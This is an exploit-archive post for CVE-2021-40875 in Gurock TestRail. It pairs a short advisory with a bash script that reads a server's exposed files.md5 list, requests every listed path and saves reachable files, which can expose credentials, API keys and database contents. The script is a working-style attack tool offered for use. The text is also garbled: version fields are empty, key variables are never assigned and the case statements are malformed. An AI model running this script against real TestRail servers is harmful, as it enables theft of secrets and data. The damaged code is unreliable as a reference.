Gurock Testrail Improper Access Control

Gurock Testrail version suffers from an improper access control vulnerability.

MD5 | ca364a6a681f0978d5193d137515cfbc

# Exploit Title: Gurock Testrail - 'files.md5' Improper Access Control
# Date: 22/09/2022
# Exploit Author: Sick Codes & JohnJHacking (Sakura Samuraii)
# Vendor Homepage:
# Version: and below
# Tested on: macOS, Linux, Windows
# CVE : CVE-2021-40875
# Reference:

CVE-2021-40875: Improper Access Control in Gurock TestRail versions < resulted in sensitive information exposure. A threat actor can access the /files.md5 file on the client side of a Gurock TestRail application, disclosing a full list of application files and the corresponding file paths. The corresponding file paths can be tested, and in some cases, result in the disclosure of hardcoded credentials, API keys, or other sensitive data.

# Method 1

# Author: sickcodes & johnjhacking
# Contact:
# Copyright: sickcodes (C) 2021
# License: GPLv3+

# stop null byte error while curling
shopt -s nullglob

! [ "${1}" ] && { echo "No target was specified. ./ 'https://target/'" && exit 1 ; }




mkdir -p ./output
cd ./output

touch ./accessible.log

# option to get a fresh updated files.md5, if it comes in a future version
# curl "${TARGET}/files.md5" > ./files.md5

while read -r HASH SUFFIX; do
echo "${SUFFIX}"
echo "========= ${TESTING_URL} ========="

# Ignore list, some of these files MAY be world readable,
# if the organisation has modified permissions related
# to the below files otherwise, they are ignored.
case "${SUFFIX}" in
*'.php' ) continue
*'.html' ) continue
*'LICENSE' ) continue
*'' ) continue
*'.js' ) continue
*'.svg' ) continue
*'.gif' ) continue
*'.png' ) continue
*'.css' ) continue
*'.exe' ) continue
# *'.add_your_own' ) continue
# ;;

# peek at page response
# doesn't work because gurock returns 200 and prints the error in plaintext
# curl -s -I -X POST "${TESTING_URL}"

# feth the page, following redirects, to a variable
OUTPUT_DATA="$(curl -L -vvvv "${TESTING_URL}")"

# find matching disqualifying pharses in the page contents
# and pass any pages that are "denied access" or "direct script access"
case "${OUTPUT_DATA}" in
*'No direct script'* ) continue
*'Directory Listing Denied'* ) continue

# save all interesting pages, without forward slashes
# will be saved as:
# <>:
tee "${SUFFIX//\//\:}" <<< "${OUTPUT_DATA}"

# print to stdout, and also append to ./accessible.log the successful saves
tee -a ./accessible.log <<< "${TESTING_URL}"

done < "${FILE_LIST}"

### Results
in your results folder you will have a few important files from the host, namely the initial SQL database insert statements with specific unique information pertaining to that server running Gurock Testrail and below

Related Posts